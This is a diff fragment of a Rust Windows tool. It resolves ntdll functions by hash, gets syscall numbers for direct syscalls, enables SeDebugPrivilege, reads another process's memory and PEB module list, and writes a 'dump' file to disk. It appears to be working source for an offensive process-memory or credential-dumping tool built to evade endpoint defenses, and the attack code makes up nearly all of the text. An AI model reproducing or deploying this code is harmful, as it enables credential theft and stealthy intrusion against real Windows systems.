||||
pub e_ovno: u16,
|
||||
pub e_res: [u16; 4],
|
||||
pub e_oemid: u16,
|
||||
pub e_oeminfo: u16,
|
||||
pub e_res2: [u16; 10],
|
||||
pub e_lfanew: i32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct ImageFileHeader {
|
||||
pub machine: u16,
|
||||
pub number_of_sections: u16,
|
||||
pub time_date_stamp: u32,
|
||||
pub pointer_to_symbol_table: u32,
|
||||
pub number_of_symbols: u32,
|
||||
pub size_of_optional_header: u16,
|
||||
pub characteristics: u16,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct ImageDataDirectory {
|
||||
pub virtual_address: u32,
|
||||
pub size: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct ImageExportDirectory {
|
||||
pub characteristics: u32,
|
||||
pub time_date_stamp: u32,
|
||||
pub major_version: u16,
|
||||
pub minor_version: u16,
|
||||
pub name: u32,
|
||||
pub base: u32,
|
||||
pub number_of_functions: u32,
|
||||
pub number_of_names: u32,
|
||||
pub address_of_functions: u32,
|
||||
pub address_of_names: u32,
|
||||
pub address_of_name_ordinals: u32,
|
||||
}
|
||||
|
||||
#[cfg(target_arch = "x86_64")]
|
||||
#[repr(C)]
|
||||
pub struct ImageNtHeaders {
|
||||
pub signature: u32,
|
||||
pub file_header: ImageFileHeader,
|
||||
pub optional_header: ImageOptionalHeader64,
|
||||
}
|
||||
|
||||
#[cfg(target_arch = "x86_64")]
|
||||
#[repr(C)]
|
||||
pub struct ImageOptionalHeader64 {
|
||||
pub magic: u16,
|
||||
pub major_linker_version: u8,
|
||||
pub minor_linker_version: u8,
|
||||
pub size_of_code: u32,
|
||||
pub size_of_initialized_data: u32,
|
||||
pub size_of_uninitialized_data: u32,
|
||||
pub address_of_entry_point: u32,
|
||||
pub base_of_code: u32,
|
||||
pub image_base: u64,
|
||||
pub section_alignment: u32,
|
||||
pub file_alignment: u32,
|
||||
pub major_operating_system_version: u16,
|
||||
pub minor_operating_system_version: u16,
|
||||
pub major_image_version: u16,
|
||||
pub minor_image_version: u16,
|
||||
pub major_subsystem_version: u16,
|
||||
pub minor_subsystem_version: u16,
|
||||
pub win32_version_value: u32,
|
||||
pub size_of_image: u32,
|
||||
pub size_of_headers: u32,
|
||||
pub check_sum: u32,
|
||||
pub subsystem: u16,
|
||||
pub dll_characteristics: u16,
|
||||
pub size_of_stack_reserve: u64,
|
||||
pub size_of_stack_commit: u64,
|
||||
pub size_of_heap_reserve: u64,
|
||||
pub size_of_heap_commit: u64,
|
||||
pub loader_flags: u32,
|
||||
pub number_of_rva_and_sizes: u32,
|
||||
pub data_directory: [ImageDataDirectory; 16],
|
||||
}
|
||||
|
||||
#[cfg(target_arch = "x86_64")]
|
||||
pub fn find_peb() -> *mut PEB {
|
||||
let peb_ptr: *mut PEB;
|
||||
unsafe {
|
||||
asm!(
|
||||
"mov {}, gs:[0x60]",
|
||||
out(reg) peb_ptr
|
||||
);
|
||||
}
|
||||
peb_ptr
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct OSVersionInfo {
|
||||
pub dw_os_version_info_size: u32,
|
||||
pub dw_major_version: u32,
|
||||
pub dw_minor_version: u32,
|
||||
pub dw_build_number: u32,
|
||||
pub dw_platform_id: u32,
|
||||
pub sz_csd_version: [u16; 128], // WCHAR is usually represented as u16 in Rust
|
||||
pub dw_os_version_info_size_2: u32,
|
||||
pub dw_major_version_2: u32,
|
||||
pub dw_minor_version_2: u32,
|
||||
pub dw_build_number_2: u32,
|
||||
pub dw_platform_id_2: u32,
|
||||
}
|
||||
|
||||
impl OSVersionInfo {
|
||||
pub fn new() -> Self {
|
||||
OSVersionInfo {
|
||||
dw_os_version_info_size: core::mem::size_of::<OSVersionInfo>() as u32,
|
||||
dw_major_version: 0,
|
||||
dw_minor_version: 0,
|
||||
dw_build_number: 0,
|
||||
dw_platform_id: 0,
|
||||
sz_csd_version: [0; 128],
|
||||
dw_os_version_info_size_2: core::mem::size_of::<OSVersionInfo>() as u32,
|
||||
dw_major_version_2: 0,
|
||||
dw_minor_version_2: 0,
|
||||
dw_build_number_2: 0,
|
||||
dw_platform_id_2: 0,
|
||||
}
|
||||
}
|
||||
}
|
||||
#[allow(dead_code)]
|
||||
#[repr(C)]
|
||||
pub union IO_STATUS_BLOCK_u {
|
||||
pub status: i32,
|
||||
pub pointer: *mut c_void,
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
#[repr(C)]
|
||||
pub struct IoStatusBlock {
|
||||
pub u: IO_STATUS_BLOCK_u,
|
||||
pub information: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct LUID {
|
||||
pub low_part: u32,
|
||||
pub high_part: i32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct TokenPrivileges {
|
||||
pub privilege_count: u32,
|
||||
pub luid: LUID,
|
||||
pub attributes: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct SystemProcessInformation {
|
||||
pub next_entry_offset: u32,
|
||||
pub number_of_threads: u32,
|
||||
pub working_set_private_size: LargeInteger,
|
||||
pub hard_fault_count: u32,
|
||||
pub number_of_threads_high_watermark: u32,
|
||||
pub cycle_time: u64,
|
||||
pub create_time: LargeInteger,
|
||||
pub user_time: LargeInteger,
|
||||
pub kernel_time: LargeInteger,
|
||||
pub image_name: UnicodeString,
|
||||
pub base_priority: i32,
|
||||
pub unique_process_id: *mut c_void,
|
||||
pub inherited_from_unique_process_id: *mut c_void,
|
||||
pub handle_count: u32,
|
||||
pub session_id: u32,
|
||||
pub unique_process_key: usize,
|
||||
pub peak_virtual_size: usize,
|
||||
pub virtual_size: usize,
|
||||
pub page_fault_count: u32,
|
||||
pub peak_working_set_size: usize,
|
||||
pub working_set_size: usize,
|
||||
pub quota_peak_paged_pool_usage: usize,
|
||||
pub quota_paged_pool_usage: usize,
|
||||
pub quota_peak_non_paged_pool_usage: usize,
|
||||
pub quota_non_paged_pool_usage: usize,
|
||||
pub pagefile_usage: usize,
|
||||
pub peak_pagefile_usage: usize,
|
||||
pub private_page_count: usize,
|
||||
pub read_operation_count: LargeInteger,
|
||||
pub write_operation_count: LargeInteger,
|
||||
pub other_operation_count: LargeInteger,
|
||||
pub read_transfer_count: LargeInteger,
|
||||
pub write_transfer_count: LargeInteger,
|
||||
pub other_transfer_count: LargeInteger,
|
||||
pub threads: [SystemThreadInformation; 1],
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct SystemThreadInformation {
|
||||
pub kernel_time: LargeInteger,
|
||||
pub user_time: LargeInteger,
|
||||
pub create_time: LargeInteger,
|
||||
pub wait_time: u32,
|
||||
pub start_address: *mut c_void,
|
||||
pub client_id: ClientId,
|
||||
pub priority: c_long,
|
||||
pub base_priority: c_long,
|
||||
pub context_switches: u32,
|
||||
pub thread_state: u32,
|
||||
pub wait_reason: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct ClientId {
|
||||
pub unique_process: *mut c_void,
|
||||
pub unique_thread: *mut c_void,
|
||||
}
|
||||
|
||||
impl ClientId {
|
||||
pub fn new() -> Self {
|
||||
ClientId {
|
||||
unique_process: core::ptr::null_mut(),
|
||||
unique_thread: core::ptr::null_mut(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub const STATUS_INFO_LENGTH_MISMATCH: i32 = 0xC0000004u32 as i32;
|
||||
pub const OBJ_CASE_INSENSITIVE: u32 = 0x40;
|
||||
@@ -0,0 +1,150 @@
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
use crate::debug_println;
|
||||
|
||||
use alloc::vec::Vec;
|
||||
|
||||
use super::{def::IoStatusBlock, g_instance::instance};
|
||||
|
||||
use super::{
|
||||
def::{AccessMask, LargeInteger, ObjectAttributes, UnicodeString},
|
||||
utils::{build_nt_path, get_current_directory},
|
||||
};
|
||||
|
||||
pub const SYNCHRONIZE: AccessMask = 0x00100000;
|
||||
pub const STANDARD_RIGHTS_WRITE: AccessMask = 0x00020000;
|
||||
|
||||
pub const FILE_WRITE_DATA: AccessMask = 0x00000002;
|
||||
pub const FILE_WRITE_ATTRIBUTES: AccessMask = 0x00000100;
|
||||
pub const FILE_WRITE_EA: AccessMask = 0x00000010;
|
||||
pub const FILE_APPEND_DATA: AccessMask = 0x00000004;
|
||||
pub const FILE_GENERIC_WRITE: u32 = STANDARD_RIGHTS_WRITE
|
||||
| FILE_WRITE_DATA
|
||||
| FILE_WRITE_ATTRIBUTES
|
||||
| FILE_WRITE_EA
|
||||
| FILE_APPEND_DATA
|
||||
| SYNCHRONIZE;
|
||||
pub const FILE_OVERWRITE_IF: u32 = 0x00000005;
|
||||
|
||||
pub const FILE_SYNCHRONOUS_IO_NONALERT: u32 = 0x00000020;
|
||||
pub const FILE_NON_DIRECTORY_FILE: u32 = 0x00000040;
|
||||
|
||||
pub const FILE_SHARE_READ: AccessMask = 0x00000001;
|
||||
pub const FILE_SHARE_WRITE: AccessMask = 0x00000002;
|
||||
|
||||
pub fn save_file(dump_file_bytes: Vec<u8>, dump_file_name: &str) -> i32 {
|
||||
use core::{ffi::c_void, ptr::null_mut};
|
||||
|
||||
unsafe {
|
||||
let mut handle: *mut c_void = null_mut();
|
||||
|
||||
// Retrieve current directory and handle failure
|
||||
let cwd = get_current_directory();
|
||||
if cwd.is_empty() {
|
||||
debug_println!("[-] Failed to retrieve current working directory");
|
||||
return -1;
|
||||
}
|
||||
|
||||
let mut buffer = [0u8; 1024];
|
||||
|
||||
// Build NT path and handle failure
|
||||
let file_name = build_nt_path(&cwd, dump_file_name, &mut buffer);
|
||||
if file_name.is_empty() {
|
||||
debug_println!("[-] Failed to build NT path for file");
|
||||
return -1;
|
||||
}
|
||||
|
||||
let file_path: Vec<u16> = {
|
||||
let mut vec = Vec::with_capacity(file_name.len() + 1);
|
||||
for c in file_name.encode_utf16() {
|
||||
vec.push(c);
|
||||
}
|
||||
vec.push(0);
|
||||
vec
|
||||
};
|
||||
|
||||
// Initialize the Unicode string for the registry value name
|
||||
let mut unicode_string = UnicodeString::new();
|
||||
unicode_string.init(file_path.as_ptr());
|
||||
|
||||
let mut object_attributes = ObjectAttributes::new();
|
||||
ObjectAttributes::initialize(
|
||||
&mut object_attributes,
|
||||
&mut unicode_string, // NT path name
|
||||
0, // Flags for case-insensitivity and inheritance
|
||||
null_mut(), // No root directory
|
||||
null_mut(), // No security descriptor
|
||||
);
|
||||
|
||||
let mut io_status_block: IoStatusBlock = core::mem::zeroed();
|
||||
|
||||
let allocation_size: *mut LargeInteger = null_mut();
|
||||
|
||||
let desired_access: AccessMask = FILE_GENERIC_WRITE | SYNCHRONIZE;
|
||||
|
||||
let share_access: AccessMask = FILE_SHARE_READ | FILE_SHARE_WRITE;
|
||||
|
||||
let create_options: AccessMask = FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT;
|
||||
|
||||
let create_disposition: AccessMask = FILE_OVERWRITE_IF;
|
||||
|
||||
// Create the file using NtCreateFile
|
||||
let status: i32 = instance().ntdll.nt_create_file.run(
|
||||
&mut handle,
|
||||
desired_access,
|
||||
&mut object_attributes,
|
||||
&mut io_status_block,
|
||||
allocation_size,
|
||||
0,
|
||||
share_access,
|
||||
create_disposition,
|
||||
create_options,
|
||||
null_mut(),
|
||||
0,
|
||||
);
|
||||
|
||||
if status < 0 {
|
||||
debug_println!(
|
||||
"[-] Failed to create file with status: NTSTATUS: 0x{:X}",
|
||||
status
|
||||
);
|
||||
return status;
|
||||
}
|
||||
|
||||
// Initialize IO_STATUS_BLOCK for NtWriteFile
|
||||
let mut io_status_block_write: IoStatusBlock = core::mem::zeroed();
|
||||
|
||||
// Write the file content using NtWriteFile
|
||||
let status_write = instance().ntdll.nt_write_file.run(
|
||||
handle,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
&mut io_status_block_write,
|
||||
dump_file_bytes.as_ptr() as *mut c_void,
|
||||
dump_file_bytes.len() as u32,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
);
|
||||
|
||||
if status_write < 0 {
|
||||
debug_println!(
|
||||
"[-] Failed to write to file with status: NTSTATUS: 0x{:X}",
|
||||
status_write
|
||||
);
|
||||
instance().ntdll.nt_close.run(handle);
|
||||
} else {
|
||||
debug_println!(
|
||||
"[+] File {} ({}) created successfully.",
|
||||
file_name,
|
||||
dump_file_bytes.len()
|
||||
);
|
||||
}
|
||||
|
||||
// Close the file handle
|
||||
instance().ntdll.nt_close.run(handle);
|
||||
|
||||
status_write
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,157 @@
|
||||
use core::{
|
||||
cell::UnsafeCell,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
};
|
||||
|
||||
use super::syscall_gate::get_ssn;
|
||||
|
||||
use crate::{
|
||||
common::ldrapi::{ldr_function, ldr_module},
|
||||
ntapi::syscall::NtDll,
|
||||
};
|
||||
|
||||
#[repr(C)]
|
||||
pub struct Instance {
|
||||
pub ntdll: NtDll, // NtDll API functions
|
||||
}
|
||||
|
||||
impl Instance {
|
||||
pub fn new() -> Self {
|
||||
Instance {
|
||||
ntdll: NtDll::new(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static INIT_INSTANCE: AtomicBool = AtomicBool::new(false);
|
||||
|
||||
pub static mut INSTANCE: UnsafeCell<Option<Instance>> = UnsafeCell::new(None);
|
||||
|
||||
/// Retrieves a reference to the global instance.
|
||||
pub unsafe fn instance() -> &'static Instance {
|
||||
ensure_initialized();
|
||||
return INSTANCE.get().as_ref().unwrap().as_ref().unwrap();
|
||||
}
|
||||
|
||||
/// Function to ensure that initialization is performed if it hasn't been already.
|
||||
fn ensure_initialized() {
|
||||
unsafe {
|
||||
if !INIT_INSTANCE.load(Ordering::Acquire) {
|
||||
init_native();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
unsafe fn init_native() {
|
||||
if !INIT_INSTANCE.load(Ordering::Acquire) {
|
||||
let mut instance = Instance::new();
|
||||
|
||||
const NTDLL_HASH: u32 = 0x1edab0ed;
|
||||
|
||||
instance.ntdll.module_base = ldr_module(NTDLL_HASH);
|
||||
|
||||
// Resolve LdrLoadDll
|
||||
let ldr_load_dll_addr = ldr_function(instance.ntdll.module_base, 0x9e456a43);
|
||||
instance.ntdll.ldr_load_dll = core::mem::transmute(ldr_load_dll_addr);
|
||||
|
||||
// NtAllocateVirtualMemory
|
||||
instance.ntdll.nt_allocate_virtual_memory.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_allocate_virtual_memory.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_allocate_virtual_memory.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_allocate_virtual_memory.syscall.address);
|
||||
|
||||
// NtFreeVirtualMemory
|
||||
instance.ntdll.nt_free_virtual_memory.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_free_virtual_memory.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_free_virtual_memory.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_free_virtual_memory.syscall.address);
|
||||
|
||||
// NtReadVirtualMemory
|
||||
instance.ntdll.nt_read_virtual_memory.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_read_virtual_memory.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_read_virtual_memory.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_read_virtual_memory.syscall.address);
|
||||
|
||||
// NtQueryVirtualMemory
|
||||
instance.ntdll.nt_query_virtual_memory.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_query_virtual_memory.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_query_virtual_memory.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_query_virtual_memory.syscall.address);
|
||||
|
||||
// NtOpenProcess
|
||||
instance.ntdll.nt_open_process.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_open_process.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_open_process.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_open_process.syscall.address);
|
||||
|
||||
// NtQuerySystemInformation
|
||||
instance.ntdll.nt_query_system_information.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_query_system_information.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_query_system_information.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_query_system_information.syscall.address);
|
||||
|
||||
// NtQueryInformationProcess
|
||||
instance.ntdll.nt_query_information_process.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_query_information_process.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_query_information_process.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_query_information_process.syscall.address);
|
||||
|
||||
// NtCreateFile
|
||||
instance.ntdll.nt_create_file.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_create_file.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_create_file.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_create_file.syscall.address);
|
||||
|
||||
// NtWriteFile
|
||||
instance.ntdll.nt_write_file.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_write_file.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_write_file.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_write_file.syscall.address);
|
||||
|
||||
// NtClose
|
||||
instance.ntdll.nt_close.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_close.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_close.syscall.number = get_ssn(instance.ntdll.nt_close.syscall.address);
|
||||
|
||||
// NtOpenProcessToken
|
||||
instance.ntdll.nt_open_process_token.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_open_process_token.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_open_process_token.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_open_process_token.syscall.address);
|
||||
|
||||
// NtAdjustPrivilegesToken
|
||||
instance.ntdll.nt_adjust_privileges_token.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_adjust_privileges_token.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_adjust_privileges_token.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_adjust_privileges_token.syscall.address);
|
||||
|
||||
*INSTANCE.get() = Some(instance);
|
||||
|
||||
// Set the initialization flag to true.
|
||||
INIT_INSTANCE.store(true, Ordering::Release);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,249 @@
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
use alloc::string::String;
|
||||
use alloc::vec;
|
||||
use alloc::vec::Vec;
|
||||
use core::ffi::c_void;
|
||||
|
||||
use crate::{
|
||||
common::utils::dbj2_hash,
|
||||
debug_println,
|
||||
mdfile::ModuleInfo,
|
||||
ntapi::def::{MemoryBasicInformation, ProcessBasicInformation},
|
||||
};
|
||||
|
||||
use super::g_instance::instance;
|
||||
|
||||
/// Reads memory from a remote process into a buffer.
|
||||
///
|
||||
/// Takes a process handle, an address, and the size of the memory to read.
|
||||
/// Returns a `Vec<u8>` containing the memory contents, or `None` if reading fails.
|
||||
pub fn read_memory(
|
||||
process_handle: *mut c_void,
|
||||
address: *mut c_void,
|
||||
size: usize,
|
||||
) -> Option<Vec<u8>> {
|
||||
// Allocate a buffer for the memory to be read.
|
||||
let mut buffer = vec![0u8; size];
|
||||
let mut bytes_read: usize = 0;
|
||||
|
||||
// Perform the memory read operation using the NT API.
|
||||
let result = unsafe {
|
||||
instance().ntdll.nt_read_virtual_memory.run(
|
||||
process_handle,
|
||||
address,
|
||||
buffer.as_mut_ptr() as *mut c_void,
|
||||
size,
|
||||
&mut bytes_read,
|
||||
)
|
||||
};
|
||||
|
||||
// Return the buffer if successful, otherwise return None.
|
||||
if result == 0 && bytes_read > 0 {
|
||||
Some(buffer)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Queries information about a memory region in a remote process.
|
||||
///
|
||||
/// Returns a `MemoryBasicInformation` struct containing details about the memory region,
|
||||
/// or `None` if querying fails.
|
||||
pub fn query_memory_info(
|
||||
process_handle: *mut c_void,
|
||||
base_address: *mut c_void,
|
||||
) -> Option<MemoryBasicInformation> {
|
||||
let mut mem_info: MemoryBasicInformation = unsafe { core::mem::zeroed() };
|
||||
|
||||
// Query memory information for the given address in the remote process.
|
||||
let result = unsafe {
|
||||
instance().ntdll.nt_query_virtual_memory.run(
|
||||
process_handle,
|
||||
base_address,
|
||||
0,
|
||||
&mut mem_info as *mut _ as *mut c_void,
|
||||
core::mem::size_of::<MemoryBasicInformation>() as usize,
|
||||
core::ptr::null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
// Return memory information if successful, otherwise return None.
|
||||
if result == 0 {
|
||||
Some(mem_info)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Reads a wide string (UTF-16) from a remote process's memory.
|
||||
///
|
||||
/// Converts the UTF-16 encoded string from the remote process into a `String` and returns it.
|
||||
/// If reading fails or the string is invalid, returns an empty `String`.
|
||||
pub fn read_remote_wstr(process_handle: *mut c_void, mem_address: *mut c_void) -> String {
|
||||
let mut buffer = vec![0u8; 512]; // Buffer for reading memory.
|
||||
let mut bytes_read: usize = 0;
|
||||
|
||||
// Read memory from the remote process.
|
||||
let status = unsafe {
|
||||
instance().ntdll.nt_read_virtual_memory.run(
|
||||
process_handle,
|
||||
mem_address,
|
||||
buffer.as_mut_ptr() as *mut c_void,
|
||||
buffer.len(),
|
||||
&mut bytes_read,
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
let mut u16_vec = Vec::new();
|
||||
// Process the buffer in chunks of 2 bytes (for UTF-16 encoding).
|
||||
for chunk in buffer.chunks(2) {
|
||||
if chunk.len() < 2 {
|
||||
break;
|
||||
}
|
||||
let word = u16::from_le_bytes([chunk[0], chunk[1]]);
|
||||
if word == 0 {
|
||||
break;
|
||||
}
|
||||
u16_vec.push(word);
|
||||
}
|
||||
// Convert the UTF-16 data into a Rust String.
|
||||
String::from_utf16(&u16_vec).unwrap_or_else(|_| String::new())
|
||||
} else {
|
||||
String::new()
|
||||
}
|
||||
}
|
||||
|
||||
/// Reads a pointer-sized integer from a remote process's memory.
|
||||
///
|
||||
/// Returns the integer value read from the memory address in the remote process,
|
||||
/// or `0` if the read operation fails.
|
||||
pub fn read_remote_int_ptr(process_handle: *mut c_void, mem_address: *mut c_void) -> usize {
|
||||
let mut buffer = [0u8; 8]; // Buffer for reading an integer (64 bits).
|
||||
let mut bytes_read: usize = 0;
|
||||
|
||||
// Read the pointer-sized integer from the remote process.
|
||||
let status = unsafe {
|
||||
instance().ntdll.nt_read_virtual_memory.run(
|
||||
process_handle,
|
||||
mem_address,
|
||||
buffer.as_mut_ptr() as *mut c_void,
|
||||
buffer.len(),
|
||||
&mut bytes_read,
|
||||
)
|
||||
};
|
||||
|
||||
// Convert the bytes into a 64-bit unsigned integer and return it as usize.
|
||||
if status == 0 {
|
||||
let value = u64::from_le_bytes(buffer);
|
||||
value as usize
|
||||
} else {
|
||||
0
|
||||
}
|
||||
}
|
||||
|
||||
/// Retrieves the list of loaded modules in a process's memory.
|
||||
///
|
||||
/// Uses the process handle to query the PEB (Process Environment Block) and retrieves
|
||||
/// information about the loaded modules in the process. Optionally filters modules by a hash.
|
||||
pub fn get_modules_info(process_handle: *mut c_void, module_hash: Option<u32>) -> Vec<ModuleInfo> {
|
||||
let mut process_information: ProcessBasicInformation = unsafe { core::mem::zeroed() };
|
||||
let mut return_length: u32 = 0;
|
||||
|
||||
// Query the process information to get the PEB base address.
|
||||
let status = unsafe {
|
||||
instance().ntdll.nt_query_information_process.run(
|
||||
process_handle as *mut c_void,
|
||||
0, // ProcessBasicInformation
|
||||
&mut process_information as *mut _ as *mut c_void,
|
||||
core::mem::size_of::<ProcessBasicInformation>() as u32,
|
||||
&mut return_length,
|
||||
)
|
||||
};
|
||||
|
||||
if status != 0 {
|
||||
panic!("[-] Failed to query process information.");
|
||||
}
|
||||
|
||||
debug_println!(
|
||||
"[+] PEB Base Address: 0x{:x}",
|
||||
process_information.peb_base_address as usize
|
||||
);
|
||||
|
||||
// Compute the address of the loader's data structure from the PEB.
|
||||
let ldr_offset = 0x18;
|
||||
let ldr_pointer = (process_information.peb_base_address as usize + ldr_offset) as *mut c_void;
|
||||
let ldr_address = read_remote_int_ptr(process_handle, ldr_pointer);
|
||||
|
||||
// Get the address of the module list from the loader data.
|
||||
let in_initialization_order_module_list_offset = 0x30;
|
||||
let module_list_address =
|
||||
(ldr_address + in_initialization_order_module_list_offset) as *mut c_void;
|
||||
let mut next_flink = read_remote_int_ptr(process_handle, module_list_address);
|
||||
|
||||
// Offsets within the LDR module structure.
|
||||
let flink_dllbase_offset = 0x20;
|
||||
let flink_buffer_fulldllname_offset = 0x40;
|
||||
let flink_buffer_offset = 0x50;
|
||||
|
||||
let mut module_info_arr: Vec<ModuleInfo> = Vec::new();
|
||||
let mut dll_base = 1337;
|
||||
|
||||
// Loop through the module list until the base address is zero.
|
||||
while dll_base != 0 {
|
||||
next_flink -= 0x10;
|
||||
|
||||
// Read the base address of the module.
|
||||
dll_base = read_remote_int_ptr(
|
||||
process_handle,
|
||||
(next_flink + flink_dllbase_offset) as *mut c_void,
|
||||
);
|
||||
if dll_base == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
// Read the base and full DLL names from memory.
|
||||
let base_dll_name_ptr = read_remote_int_ptr(
|
||||
process_handle,
|
||||
(next_flink + flink_buffer_offset) as *mut c_void,
|
||||
) as *mut c_void;
|
||||
let base_dll_name = read_remote_wstr(process_handle, base_dll_name_ptr);
|
||||
|
||||
let full_dll_name_ptr = read_remote_int_ptr(
|
||||
process_handle,
|
||||
(next_flink + flink_buffer_fulldllname_offset) as *mut c_void,
|
||||
) as *mut c_void;
|
||||
let full_dll_name = read_remote_wstr(process_handle, full_dll_name_ptr);
|
||||
|
||||
// If a module hash is provided, filter by hash; otherwise, include all modules.
|
||||
match module_hash {
|
||||
Some(value) => {
|
||||
if value == dbj2_hash(base_dll_name.clone().as_bytes()) {
|
||||
module_info_arr.push(ModuleInfo {
|
||||
base_name: base_dll_name,
|
||||
full_dll_name,
|
||||
base_address: dll_base,
|
||||
region_size: 0,
|
||||
});
|
||||
|
||||
break; // Stop searching after finding the matching module.
|
||||
}
|
||||
}
|
||||
None => {
|
||||
module_info_arr.push(ModuleInfo {
|
||||
base_name: base_dll_name,
|
||||
full_dll_name,
|
||||
base_address: dll_base,
|
||||
region_size: 0,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// Move to the next module in the list.
|
||||
next_flink = read_remote_int_ptr(process_handle, (next_flink + 0x10) as *mut c_void);
|
||||
}
|
||||
|
||||
module_info_arr
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
#[cfg(not(feature = "remote"))]
|
||||
pub mod file;
|
||||
|
||||
pub mod allocator;
|
||||
pub mod def;
|
||||
pub mod g_instance;
|
||||
pub mod memory;
|
||||
pub mod privilege;
|
||||
pub mod process;
|
||||
pub mod syscall;
|
||||
pub mod syscall_gate;
|
||||
pub mod utils;
|
||||
@@ -0,0 +1,66 @@
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
use core::{ffi::c_void, ptr::null_mut};
|
||||
|
||||
use crate::debug_println;
|
||||
|
||||
use super::{
|
||||
def::{TokenPrivileges, LUID},
|
||||
g_instance::instance,
|
||||
};
|
||||
|
||||
/// This function enables the SeDebugPrivilege privilege using the NT API.
|
||||
pub unsafe fn enable_se_debug_privilege() -> i32 {
|
||||
const TOKEN_ADJUST_PRIVILEGES: u32 = 32u32;
|
||||
const TOKEN_QUERY: u32 = 8u32;
|
||||
|
||||
let current_process_handle = -1isize as *mut c_void;
|
||||
let mut token_handle: *mut c_void = null_mut();
|
||||
|
||||
// Open the process token.
|
||||
let ntstatus = instance().ntdll.nt_open_process_token.run(
|
||||
current_process_handle,
|
||||
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
|
||||
&mut token_handle,
|
||||
);
|
||||
|
||||
if ntstatus != 0 {
|
||||
debug_println!(
|
||||
"[-] Error calling NtOpenProcessToken. NTSTATUS: 0x{:X}",
|
||||
ntstatus
|
||||
);
|
||||
return ntstatus;
|
||||
}
|
||||
|
||||
let luid = LUID {
|
||||
low_part: 20,
|
||||
high_part: 0,
|
||||
};
|
||||
|
||||
let mut token_privileges = TokenPrivileges {
|
||||
privilege_count: 1,
|
||||
luid: luid,
|
||||
attributes: 0x00000002,
|
||||
};
|
||||
|
||||
// Adjust token privileges to enable SeDebugPrivilege.
|
||||
let ntstatus = instance().ntdll.nt_adjust_privileges_token.run(
|
||||
token_handle,
|
||||
false,
|
||||
&mut token_privileges,
|
||||
core::mem::size_of::<TokenPrivileges>() as u32,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
);
|
||||
|
||||
if ntstatus != 0 {
|
||||
debug_println!(
|
||||
"[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x{:X}",
|
||||
ntstatus
|
||||
);
|
||||
return ntstatus;
|
||||
}
|
||||
|
||||
